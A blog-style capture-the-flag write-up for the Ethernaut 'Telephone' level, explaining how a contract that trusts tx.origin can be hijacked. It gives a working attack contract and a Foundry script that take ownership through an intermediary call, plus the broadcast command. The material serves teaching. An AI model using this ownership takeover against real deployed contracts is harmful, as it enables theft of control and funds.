The Ethernaut CTF Solutions | 04 - Telephone
Phishing the Blockchain: Understanding `tx.origin` and `msg.sender`

Search for a command to run...
Phishing the Blockchain: Understanding `tx.origin` and `msg.sender`

No comments yet. Be the first to comment.
Find the explanations and solutions to beat every level of Ethernaut challenges. Solidity + Foundry
Beyond the Bounds: Underflow and Overflow in Solidity Before 0.8.0
From Flash to Cash: Exploiting Governance in the Selfie Challenge

Timing and Technique: Exploiting The Rewarder for Maximum Gain

A Deep Dive into the Side Entrance Challenge: Mastering the Mechanics of Flash Loans

DeFi Vulnerabilities Exposed: How to Solve the Truster Flash Loan Exploit"

Staking Strategies: An Insightful Journey Through Smart Contract Exploits in DeFi

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
Pretty short contract this time.
The goal here is to understand the difference between msg.sender and tx.origin. The Telephone contract is vulnerable to a phishing attack because it uses tx.origin to check who initiated the transaction.
tx.origin is the original sender of the transaction, the first account that signed the transaction. It can either be an EOA (Externally Owned Account) or an ERC-4337 contract. It is a static value that does not change, regardless of the number of calls in the stack (think nested transactions).
msg.sender is the address that initiated the latest call in the transaction. It can change if the transaction is a call from another contract for instance. So if there are multiple calls following each other in the same transaction, msg.sender will always be the address that initiated the latest call, and its value will change with every new call made within this transaction.
Direct Call (EOA to Contract)
EOA => Contract | tx.origin === msg.sender === EOAIndirect Call (EOA through Contract1 to Contract2)
EOA => Contract1 => Contract2
For Contract1: tx.origin === msg.sender === EOA
For Contract2: tx.origin === EOA, msg.sender === Contract1
In other words, we simply have to deploy an intermediary contract to bypass tx.origin != msg.sender. tx.origin will be our EOA while msg.sender will be the address of the intermediary contract.
Write another contract that calls the deployed Telephone contract and passes in the new owner's address
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface ITelephone {
function changeOwner(address _owner) external;
}
contract MissedCall {
address immutable telephone;
constructor(address _telephone) {
telephone = _telephone;
}
function attack() public {
ITelephone(telephone).changeOwner(msg.sender);
}
}
Now let's write the deployment script:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script, console2} from "forge-std/Script.sol";
import {MissedCall} from "../src/04_Telephone.sol";
interface ITelephone {
function owner() external view returns (address);
}
contract PoC is Script {
// Replace with your Telephone instance
ITelephone tel = ITelephone(0x78511757104F75fE89E6F291cB86f553ff3b4207);
function run() external {
uint256 deployer = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployer);
MissedCall ring = new MissedCall(address(tel));
console2.log("Current Owner: ", tel.owner());
ring.attack();
console2.log("New Owner: ", tel.owner());
vm.stopBroadcast();
}
}
All we have left is to run the script that will deploy our attack contract and launch the hack:
forge script script/04_Telephone.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
๐ Level completed ๐
Usage of tx.origin should be done with care, as it can lead to phishing attacks;
Useful in certain cases where you want EOA accounts to call a function for example
https://solidity-by-example.org/hacks/phishing-with-tx-origin/
You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/